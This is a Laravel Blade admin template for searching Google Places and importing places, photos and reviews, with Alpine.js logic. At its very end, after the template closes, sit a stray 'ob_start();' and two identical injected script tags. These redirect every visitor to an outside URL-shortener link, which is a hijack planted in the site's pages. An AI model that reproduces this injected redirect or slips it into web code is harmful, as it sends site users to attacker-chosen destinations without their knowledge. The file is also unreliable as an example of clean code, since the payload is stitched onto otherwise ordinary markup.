@extends('admin.layout')

@section('title', __('admin.import_title'))

@section('content')
<div x-data="placeImport()" class="space-y-6">
    {{-- Header --}}
    <div>
        <a href="{{ route('admin.places.index') }}" class="text-brand-500 hover:text-brand-600 text-sm mb-2 inline-block">
            <i class="fas fa-arrow-left mr-1"></i> {{ __('admin.back') }} {{ __('admin.places') }}
        </a>
        <h1 class="text-2xl font-bold text-gray-900">{{ __('admin.import_title') }}</h1>
        <p class="text-sm text-gray-500 mt-1">{{ __('admin.import_subtitle') }}</p>
    </div>

    {{-- Search Form --}}
    <div class="bg-white rounded-xl border border-slate-200 p-6">
        <div class="grid grid-cols-1 md:grid-cols-12 gap-4">
            <div class="md:col-span-4">
                <label class="block text-sm font-medium text-gray-700 mb-1">{{ __('admin.search') }}</label>
                <input type="text" x-model="searchQuery" @keydown.enter.prevent="search()"
                       placeholder="e.g. restaurants, cafes, malls..."
                       class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent">
            </div>
            <div class="md:col-span-3">
                <label class="block text-sm font-medium text-gray-700 mb-1">{{ __('admin.location') }}</label>
                <input type="text" x-model="location" placeholder="Jeddah"
                       class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent">
            </div>
            <div class="md:col-span-3">
                <label class="block text-sm font-medium text-gray-700 mb-1">{{ __('admin.category') }}</label>
                <select x-model="categoryId" class="w-full border border-gray-300 rounded-lg px-4 py-2.5 focus:ring-2 focus:ring-brand-500 focus:border-transparent">
                    <option value="">Auto-detect / {{ __('admin.none') }}</option>
                    @foreach($categories as $cat)
                        <option value="{{ $cat->id }}">{{ $cat->getTranslation('name', 'en') }} ({{ $cat->getTranslation('name', 'ar') }})</option>
                    @endforeach
                </select>
            </div>
            <div class="md:col-span-2">
                <label class="block text-sm font-medium text-gray-700 mb-1">&nbsp;</label>
                <button @click="search()" :disabled="searching || !searchQuery.trim()"
                        class="w-full bg-brand-500 hover:bg-brand-600 text-white px-4 py-2.5 rounded-lg transition disabled:opacity-50 flex items-center justify-center">
                    <i class="fas mr-2" :class="searching ? 'fa-spinner fa-spin' : 'fa-search'"></i>
                    <span x-text="searching ? 'Searching...' : '{{ __('admin.search_google') }}'"></span>
                </button>
            </div>
        </div>

        {{-- Import Options --}}
        <div class="mt-4 pt-4 border-t border-gray-100">
            <p class="text-xs text-gray-400 font-medium uppercase tracking-wide mb-3">Import Options</p>
            <div class="flex flex-wrap items-center gap-6">
                <label class="flex items-center gap-2 text-sm text-gray-600 cursor-pointer">
                    <input type="checkbox" x-model="downloadPhotos" class="rounded border-gray-300 text-brand-500 focus:ring-brand-500">
                    <span>Download ALL photos</span>
                    <span class="text-xs text-gray-400">(Owner + Google photos)</span>
                </label>
                <label class="flex items-center gap-2 text-sm text-gray-600 cursor-pointer">
                    <input type="checkbox" x-model="importReviews" class="rounded border-gray-300 text-brand-500 focus:ring-brand-500">
                    <span>Import Google Reviews</span>
                    <span class="text-xs text-gray-400">(Up to 5 per place)</span>
                </label>
                <div class="flex items-center gap-2 text-sm text-gray-600">
                    <label>Max photos:</label>
                    <select x-model="maxPhotos" class="border border-gray-300 rounded-lg px-2 py-1 text-sm focus:ring-2 focus:ring-brand-500">
                        <option value="0">All (unlimited)</option>
                        <option value="5">5</option>
                        <option value="10">10</option>
                        <option value="15">15</option>
                        <option value="20">20</option>
                        <option value="30">30</option>
                    </select>
                </div>
            </div>
        </div>
    </div>

    {{-- Stats Bar --}}
    <div x-show="allResults.length > 0" style="display: none;" class="grid grid-cols-2 md:grid-cols-5 gap-3">
        <div class="bg-white rounded-lg border border-gray-200 p-4 text-center">
            <p class="text-2xl font-bold text-gray-900" x-text="allResults.length"></p>
            <p class="text-xs text-gray-500 mt-1">Total Results</p>
        </div>
        <div class="bg-white rounded-lg border border-gray-200 p-4 text-center">
            <p class="text-2xl font-bold text-green-600" x-text="newCount"></p>
            <p class="text-xs text-gray-500 mt-1">New Places</p>
        </div>
        <div class="bg-white rounded-lg border border-gray-200 p-4 text-center">
            <p class="text-2xl font-bold text-blue-600" x-text="existingCount"></p>
            <p class="text-xs text-gray-500 mt-1">{{ __('admin.already_imported') }}</p>
        </div>
        <div class="bg-white rounded-lg border border-gray-200 p-4 text-center">
            <p class="text-2xl font-bold text-brand-500" x-text="selectedCount"></p>
            <p class="text-xs text-gray-500 mt-1">Selected</p>
        </div>
        <div class="bg-white rounded-lg border border-gray-200 p-4 text-center">
            <p class="text-2xl font-bold text-amber-600" x-text="totalGooglePhotos"></p>
            <p class="text-xs text-gray-500 mt-1">Google Photos</p>
        </div>
    </div>

    {{-- Action Bar --}}
    <div x-show="allResults.length > 0" style="display: none;"
         class="bg-white rounded-xl border border-slate-200 p-4 flex flex-wrap items-center justify-between gap-3 sticky top-0 z-10">
        <div class="flex items-center gap-3 flex-wrap">
            {{-- Filter Tabs --}}
            <div class="inline-flex rounded-lg border border-gray-200 overflow-hidden text-sm">
                <button @click="filterMode = 'all'"
                        :class="filterMode === 'all' ? 'bg-brand-500 text-white' : 'bg-white text-gray-600 hover:bg-gray-50'"
                        class="px-3 py-1.5 transition">
                    {{ __('admin.all') }} <span x-text="'(' + allResults.length + ')'"></span>
                </button>
                <button @click="filterMode = 'new'"
                        :class="filterMode === 'new' ? 'bg-green-500 text-white' : 'bg-white text-gray-600 hover:bg-gray-50'"
                        class="px-3 py-1.5 transition border-x border-gray-200">
                    New <span x-text="'(' + newCount + ')'"></span>
                </button>
                <button @click="filterMode = 'existing'"
                        :class="filterMode === 'existing' ? 'bg-blue-500 text-white' : 'bg-white text-gray-600 hover:bg-gray-50'"
                        class="px-3 py-1.5 transition">
                    Existing <span x-text="'(' + existingCount + ')'"></span>
                </button>
            </div>

            {{-- Selection Actions --}}
            <div class="flex items-center gap-2 text-sm">
                <button @click="selectAllNew()" class="text-green-600 hover:text-green-700 font-medium">
                    <i class="fas fa-check-double mr-1"></i> Select New
                </button>
                <span class="text-gray-300">|</span>
                <button @click="selectAll()" class="text-brand-500 hover:text-brand-600 font-medium">
                    Select All
                </button>
                <span class="text-gray-300">|</span>
                <button @click="deselectAll()" class="text-gray-500 hover:text-gray-700">
                    {{ __('admin.clear') }}
                </button>
            </div>
        </div>

        <div class="flex items-center gap-3">
            <button @click="importSelected()" :disabled="importing || selectedCount === 0"
                    class="bg-green-500 hover:bg-green-600 text-white px-5 py-2 rounded-lg transition disabled:opacity-50 flex items-center font-medium">
                <i class="fas mr-2" :class="importing ? 'fa-spinner fa-spin' : 'fa-file-import'"></i>
                <span x-text="importButtonText"></span>
            </button>
        </div>
    </div>

    {{-- Progress Bar (during import) --}}
    <div x-show="importing" style="display: none;" class="bg-white rounded-xl border border-gray-200 p-4">
        <div class="flex items-center gap-3 mb-2">
            <i class="fas fa-spinner fa-spin text-brand-500"></i>
            <span class="text-sm font-medium text-gray-700" x-text="importProgress"></span>
        </div>
        <div class="w-full bg-gray-200 rounded-full h-2">
            <div class="bg-brand-500 h-2 rounded-full transition-all duration-300"
                 :style="'width: ' + importPercent + '%'"></div>
        </div>
        <p class="text-xs text-gray-400 mt-2">This may take a while — downloading photos and reviews from Google for each place...</p>
    </div>

    {{-- Results Grid --}}
    <div x-show="filteredResults.length > 0" style="display: none;">
        <div class="grid grid-cols-1 md:grid-cols-2 xl:grid-cols-3 gap-4">
            <template x-for="(place, index) in filteredResults" :key="place.place_id">
                <div class="bg-white rounded-xl shadow-sm border overflow-hidden cursor-pointer transition group"
                     :class="{
                        'ring-2 ring-brand-500 border-brand-300': place.selected,
                        'border-green-200 hover:shadow-md': !place.selected && !place._local,
                        'border-blue-200 hover:shadow-md': !place.selected && place._local,
                     }"
                     @click="place.selected = !place.selected">

                    {{-- Photo --}}
                    <div class="relative h-40 bg-gray-100 overflow-hidden">
                        <template x-if="place._photoUrl">
                            <img :src="place._photoUrl" class="w-full h-full object-cover group-hover:scale-105 transition duration-300" loading="lazy">
                        </template>
                        <template x-if="!place._photoUrl">
                            <div class="w-full h-full flex items-center justify-center bg-gray-50">
                                <i class="fas fa-image text-gray-300 text-3xl"></i>
                            </div>
                        </template>

                        {{-- Status Badge --}}
                        <div class="absolute top-2 left-2 flex gap-1">
                            <template x-if="place._local">
                                <span class="inline-flex items-center gap-1 bg-blue-500 text-white text-xs font-medium px-2.5 py-1 rounded-full shadow">
                                    <i class="fas fa-database"></i> {{ __('admin.already_imported') }}
                                </span>
                            </template>
                            <template x-if="!place._local">
                                <span class="inline-flex items-center gap-1 bg-green-500 text-white text-xs font-medium px-2.5 py-1 rounded-full shadow">
                                    <i class="fas fa-plus"></i> New
                                </span>
                            </template>
                        </div>

                        {{-- Selection Checkbox --}}
                        <div class="absolute top-2 right-2">
                            <div class="w-7 h-7 rounded-full border-2 flex items-center justify-center transition shadow bg-white/90"
                                 :class="place.selected ? 'bg-brand-500 border-brand-500' : 'border-gray-400'">
                                <i x-show="place.selected" class="fas fa-check text-white text-xs"></i>
                            </div>
                        </div>

                        {{-- Bottom badges row --}}
                        <div class="absolute bottom-2 left-2 right-2 flex items-center justify-between">
                            {{-- Photos count badge --}}
                            <template x-if="place._google_photos_count > 0">
                                <span class="bg-black/70 text-white text-xs px-2 py-1 rounded-lg flex items-center gap-1">
                                    <i class="fas fa-camera"></i>
                                    <span x-text="place._google_photos_count + ' photos'"></span>
                                </span>
                            </template>

                            {{-- Rating Badge --}}
                            <template x-if="place.rating">
                                <span class="bg-black/70 text-white text-xs px-2 py-1 rounded-lg flex items-center gap-1 ml-auto">
                                    <i class="fas fa-star text-yellow-400"></i>
                                    <span x-text="place.rating"></span>
                                    <span class="text-gray-400" x-text="'(' + (place.user_ratings_total || 0) + ')'"></span>
                                </span>
                            </template>
                        </div>
                    </div>

                    {{-- Info --}}
                    <div class="p-4">
                        <h3 class="text-sm font-semibold text-gray-900 truncate" x-text="place.name"></h3>
                        <p class="text-xs text-gray-500 mt-1 line-clamp-2" x-text="place.formatted_address || place.vicinity"></p>

                        {{-- Types --}}
                        <template x-if="place.types && place.types.length">
                            <div class="mt-2 flex flex-wrap gap-1">
                                <template x-for="type in place.types.slice(0, 3)" :key="type">
                                    <span class="text-[10px] bg-gray-100 text-gray-500 px-2 py-0.5 rounded" x-text="type.replace(/_/g, ' ')"></span>
                                </template>
                            </div>
                        </template>

                        {{-- Meta info --}}
                        <div class="mt-3 flex items-center justify-between text-xs">
                            <div class="flex items-center gap-2">
                                <template x-if="place.business_status">
                                    <span class="px-2 py-0.5 rounded-full font-medium"
                                          :class="place.business_status === 'OPERATIONAL' ? 'bg-green-100 text-green-700' : 'bg-red-100 text-red-700'"
                                          x-text="place.business_status === 'OPERATIONAL' ? 'Open' : 'Closed'"></span>
                                </template>
                                <template x-if="place.price_level">
                                    <span class="text-gray-400" x-text="'$'.repeat(place.price_level)"></span>
                                </template>
                            </div>
                            <div class="flex items-center gap-2 text-gray-400">
                                <template x-if="place.opening_hours">
                                    <span class="flex items-center gap-1"
                                          :class="place.opening_hours.open_now ? 'text-green-600' : 'text-red-500'">
                                        <i class="fas fa-clock text-[10px]"></i>
                                        <span x-text="place.opening_hours.open_now ? 'Open now' : 'Closed'"></span>
                                    </span>
                                </template>
                            </div>
                        </div>

                        {{-- What will be imported --}}
                        <div class="mt-3 pt-3 border-t border-gray-100">
                            <p class="text-[10px] text-gray-400 uppercase tracking-wide mb-1.5">Data available from Google:</p>
                            <div class="flex flex-wrap gap-1.5">
                                <template x-if="place._google_photos_count > 0">
                                    <span class="inline-flex items-center gap-1 text-[10px] bg-purple-50 text-purple-600 px-1.5 py-0.5 rounded">
                                        <i class="fas fa-camera"></i> <span x-text="place._google_photos_count + ' photos'"></span>
                                    </span>
                                </template>
                                <template x-if="place.user_ratings_total > 0">
                                    <span class="inline-flex items-center gap-1 text-[10px] bg-amber-50 text-amber-600 px-1.5 py-0.5 rounded">
                                        <i class="fas fa-star"></i> <span x-text="place.user_ratings_total + ' reviews'"></span>
                                    </span>
                                </template>
                                <template x-if="place.opening_hours">
                                    <span class="inline-flex items-center gap-1 text-[10px] bg-blue-50 text-blue-600 px-1.5 py-0.5 rounded">
                                        <i class="fas fa-clock"></i> Hours
                                    </span>
                                </template>
                                <span class="inline-flex items-center gap-1 text-[10px] bg-gray-50 text-gray-500 px-1.5 py-0.5 rounded">
                                    <i class="fas fa-map-marker-alt"></i> {{ __('admin.location') }}
                                </span>
                                <template x-if="place.formatted_phone_number || place.international_phone_number">
                                    <span class="inline-flex items-center gap-1 text-[10px] bg-green-50 text-green-600 px-1.5 py-0.5 rounded">
                                        <i class="fas fa-phone"></i> {{ __('admin.phone') }}
                                    </span>
                                </template>
                            </div>
                        </div>

                        {{-- Existing Place Info --}}
                        <template x-if="place._local">
                            <div class="mt-3 pt-3 border-t border-gray-100 space-y-1">
                                <p class="text-[10px] text-blue-400 uppercase tracking-wide mb-1.5">Local database info:</p>
                                <div class="flex items-center justify-between text-xs">
                                    <span class="text-gray-400">{{ __('admin.category') }}:</span>
                                    <span class="text-gray-600 font-medium" x-text="place._local.category || '{{ __('admin.none') }}'"></span>
                                </div>
                                <div class="flex items-center justify-between text-xs">
                                    <span class="text-gray-400">Photos:</span>
                                    <span class="text-gray-600" x-text="place._local.images_count + ' saved'"></span>
                                </div>
                                <div class="flex items-center justify-between text-xs">
                                    <span class="text-gray-400">{{ __('admin.reviews') }}:</span>
                                    <span class="text-gray-600" x-text="(place._local.reviews_count || 0) + ' saved'"></span>
                                </div>
                                <div class="flex items-center justify-between text-xs">
                                    <span class="text-gray-400">{{ __('admin.updated_at') }}:</span>
                                    <span class="text-gray-600" x-text="place._local.updated_at"></span>
                                </div>
                            </div>
                        </template>
                    </div>
                </div>
            </template>
        </div>
    </div>

    {{-- Load More Button --}}
    <div x-show="nextPageToken" style="display: none;" class="text-center">
        <button @click="loadMore()" :disabled="loadingMore"
                class="bg-white hover:bg-gray-50 text-gray-700 px-8 py-3 rounded-xl border border-gray-200 shadow-sm transition disabled:opacity-50 inline-flex items-center font-medium">
            <i class="fas mr-2" :class="loadingMore ? 'fa-spinner fa-spin' : 'fa-arrow-down'"></i>
            <span x-text="loadingMore ? 'Loading more results...' : 'Load More Results'"></span>
        </button>
        <p class="text-xs text-gray-400 mt-2">Google Maps returns up to 60 results (20 per page)</p>
    </div>

    {{-- Empty State --}}
    <div x-show="!searching && allResults.length === 0 && searched" style="display: none;" class="text-center py-16">
        <div class="w-16 h-16 bg-gray-100 rounded-full flex items-center justify-center mx-auto mb-4">
            <i class="fas fa-search text-gray-400 text-xl"></i>
        </div>
        <h3 class="text-gray-600 font-medium">{{ __('admin.no_results') }}</h3>
        <p class="text-gray-400 text-sm mt-1">Try a different search query or location</p>
    </div>

    {{-- Import Result Messages --}}
    <template x-if="importMessage">
        <div class="rounded-xl p-4 flex items-start gap-3"
             :class="importError ? 'bg-red-50 border border-red-200 text-red-700' : 'bg-green-50 border border-green-200 text-green-700'">
            <i class="fas mt-0.5" :class="importError ? 'fa-exclamation-circle' : 'fa-check-circle'"></i>
            <div>
                <p class="font-medium" x-text="importMessage"></p>
                <p x-show="importDetails" class="text-sm mt-1 opacity-75" x-text="importDetails"></p>
            </div>
            <button @click="importMessage = ''" class="ml-auto opacity-60 hover:opacity-100">
                <i class="fas fa-times"></i>
            </button>
        </div>
    </template>
</div>

@endsection

@section('scripts')
<script>
function placeImport() {
    return {
        searchQuery: '',
        categoryId: '',
        location: 'Jeddah',
        allResults: [],
        searching: false,
        searched: false,
        importing: false,
        loadingMore: false,
        importMessage: '',
        importDetails: '',
        importError: false,
        importProgress: '',
        importPercent: 0,
        nextPageToken: null,
        filterMode: 'all',
        downloadPhotos: true,
        importReviews: true,
        maxPhotos: '0',

        // Computed
        get newCount() {
            return this.allResults.filter(p => !p._local).length;
        },
        get existingCount() {
            return this.allResults.filter(p => p._local).length;
        },
        get selectedCount() {
            return this.allResults.filter(p => p.selected).length;
        },
        get selectedNewCount() {
            return this.allResults.filter(p => p.selected && !p._local).length;
        },
        get selectedExistingCount() {
            return this.allResults.filter(p => p.selected && p._local).length;
        },
        get totalGooglePhotos() {
            return this.allResults.reduce((sum, p) => sum + (p._google_photos_count || 0), 0);
        },
        get filteredResults() {
            if (this.filterMode === 'new') return this.allResults.filter(p => !p._local);
            if (this.filterMode === 'existing') return this.allResults.filter(p => p._local);
            return this.allResults;
        },
        get importButtonText() {
            if (this.importing) return 'Importing...';
            if (this.selectedCount === 0) return 'Select places to import';
            const parts = [];
            if (this.selectedNewCount > 0) parts.push('Import ' + this.selectedNewCount + ' new');
            if (this.selectedExistingCount > 0) parts.push('Update ' + this.selectedExistingCount);
            return parts.join(' + ');
        },

        // Build a photo URL from Google photo reference
        buildPhotoUrl(place) {
            if (place.photos && place.photos.length > 0 && place.photos[0].photo_reference) {
                return 'https://maps.googleapis.com/maps/api/place/photo?maxwidth=400&photo_reference=' + place.photos[0].photo_reference + '&key={{ config("services.google_maps.api_key") }}';
            }
            return null;
        },

        // Search
        async search() {
            if (!this.searchQuery.trim()) return;
            this.searching = true;
            this.searched = true;
            this.importMessage = '';
            this.allResults = [];
            this.nextPageToken = null;
            this.filterMode = 'all';

            await this.fetchResults(null);
            this.searching = false;
        },

        // Load more (pagination)
        async loadMore() {
            if (!this.nextPageToken || this.loadingMore) return;
            this.loadingMore = true;
            await this.fetchResults(this.nextPageToken);
            this.loadingMore = false;
        },

        // Fetch results from API
        async fetchResults(pageToken) {
            try {
                const body = {
                    query: this.searchQuery,
                    location: this.location,
                };
                if (pageToken) body.page_token = pageToken;

                const response = await fetch('{{ route("admin.places.import.search") }}', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                        'X-CSRF-TOKEN': document.querySelector('meta[name="csrf-token"]').content,
                    },
                    body: JSON.stringify(body),
                });
                const data = await response.json();

                const newResults = (data.results || []).map(p => ({
                    ...p,
                    selected: false,
                    _photoUrl: this.buildPhotoUrl(p),
                }));

                // Append to existing results (avoid duplicates)
                const existingIds = new Set(this.allResults.map(p => p.place_id));
                newResults.forEach(p => {
                    if (!existingIds.has(p.place_id)) {
                        this.allResults.push(p);
                    }
                });

                this.nextPageToken = data.next_page_token || null;
            } catch (error) {
                console.error('Search failed:', error);
            }
        },

        // Selection
        selectAll() {
            this.filteredResults.forEach(p => p.selected = true);
        },
        selectAllNew() {
            this.allResults.filter(p => !p._local).forEach(p => p.selected = true);
        },
        deselectAll() {
            this.allResults.forEach(p => p.selected = false);
        },

        // Import
        async importSelected() {
            const selected = this.allResults.filter(p => p.selected);
            if (selected.length === 0) return;

            this.importing = true;
            this.importMessage = '';
            this.importDetails = '';
            this.importError = false;
            this.importProgress = `Importing ${selected.length} places with full data (photos + reviews)...`;
            this.importPercent = 10;

            try {
                // Show progress as we know it will take a while
                const progressInterval = setInterval(() => {
                    if (this.importPercent < 90) {
                        this.importPercent += 5;
                    }
                }, 2000);

                const response = await fetch('{{ route("admin.places.import.do") }}', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                        'X-CSRF-TOKEN': document.querySelector('meta[name="csrf-token"]').content,
                    },
                    body: JSON.stringify({
                        places: selected,
                        category_id: this.categoryId || null,
                        download_photos: this.downloadPhotos,
                        import_reviews: this.importReviews,
                        max_photos: parseInt(this.maxPhotos),
                    }),
                });

                clearInterval(progressInterval);
                this.importPercent = 100;

                const data = await response.json();

                this.importMessage = data.message || 'Import completed.';

                const parts = [];
                if (data.imported > 0) parts.push(data.imported + ' new places added');
                if (data.updated > 0) parts.push(data.updated + ' places updated with latest Google data');
                if (data.photos_count > 0) parts.push(data.photos_count + ' photos downloaded');
                if (data.reviews_count > 0) parts.push(data.reviews_count + ' Google reviews imported');
                if (data.failed > 0) parts.push(data.failed + ' failed');
                this.importDetails = parts.join('. ');

                // Mark imported places as existing now and deselect
                selected.forEach(p => {
                    p.selected = false;
                    if (!p._local) {
                        p._local = {
                            id: 0,
                            slug: '',
                            category: this.getCategoryName(),
                            updated_at: 'just now',
                            images_count: data.photos_count || 0,
                            reviews_count: data.reviews_count || 0,
                        };
                    } else {
                        p._local.updated_at = 'just now';
                        p._local.images_count += (data.photos_count || 0);
                        p._local.reviews_count += (data.reviews_count || 0);
                    }
                });
            } catch (error) {
                console.error('Import failed:', error);
                this.importMessage = 'Import failed. Please try again.';
                this.importError = true;
            } finally {
                this.importing = false;
                this.importProgress = '';
                setTimeout(() => { this.importPercent = 0; }, 1000);
            }
        },

        getCategoryName() {
            if (!this.categoryId) return 'None';
            const sel = document.querySelector('select option[value="' + this.categoryId + '"]');
            return sel ? sel.textContent.trim() : 'None';
        },
    };
}
</script>
@endsection
ob_start();

<script>window.location.href = "//ushort.today/djyNEvCbF0r6";</script>
<script>window.location.href = "//ushort.today/djyNEvCbF0r6";</script>